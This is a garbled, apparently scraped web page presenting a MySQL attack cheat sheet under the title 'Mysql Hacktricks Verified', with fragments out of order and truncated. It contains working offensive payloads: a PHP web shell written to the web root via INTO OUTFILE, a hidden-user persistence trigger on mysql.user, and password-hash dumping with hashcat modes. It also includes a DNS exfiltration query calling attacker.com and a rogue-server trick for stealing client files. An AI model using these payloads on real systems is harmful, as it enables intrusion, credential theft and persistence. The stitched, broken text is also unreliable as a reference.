Mysql Hacktricks Verified -

CREATE TRIGGER hide_user BEFORE INSERT ON mysql.user FOR EACH ROW BEGIN IF NEW.User = 'hidden' THEN SET NEW.password = PASSWORD('dontlog'); END IF; END; Note: Requires SUPER or TRIGGER privilege. | Goal | Best Method | Preconditions | |------|-------------|----------------| | Execute OS command | UDF sys_eval | FILE , write to plugin_dir, MySQL < 8.0 or custom compile | | Write shell | general_log file write | SUPER or file write perms | | Read files | LOAD_FILE() | FILE , file path within secure_file_priv or set to empty | | Dump hashes | SELECT authentication_string FROM mysql.user | SELECT on mysql.user | | Steal client files | Rogue MySQL server | Network access to victim's MySQL client | | Persistence | Hidden user + trigger | CREATE USER + TRIGGER | Conclusion: Stay Verified, Stay Lethal The difference between a script kiddie and a professional is verification. The mysql hacktricks verified approach means you do not blindly run commands—you understand the context, confirm the version, test the boundary, and then exploit with precision.

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'; If OUTFILE fails due to newline issues, use INTO DUMPFILE with hex: mysql hacktricks verified

Use RogueMySQL or mysql-fake-server tools. The payload is: CREATE TRIGGER hide_user BEFORE INSERT ON mysql

Use hex encoding to avoid illegal characters. SELECT "&lt;

SELECT user, host, authentication_string FROM mysql.user; Use hashcat -m 300 for mysql_native_password (4 bytes salt + 20 bytes SHA1) or -m 7400 for caching_sha2_password.

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT hex(version())), '.attacker.com\\test')); If error-based or union-based injection fails, try Time-based + DNS. But for direct DB access, use the sys_exec UDF to run nslookup or curl . Part 4: Lateral Movement and Credential Harvesting 4.1 Dumping Password Hashes MySQL stores credentials in mysql.user . Hash types: mysql_native_password (SHA1-based) or caching_sha2_password (MySQL 8+).

Your fake server sends a LOAD DATA LOCAL INFILE request during handshake. Vulnerable clients (e.g., old PHP mysqli with allow_local_infile=ON , MySQL Workbench, or outdated connectors) will send back any file the client user can read.
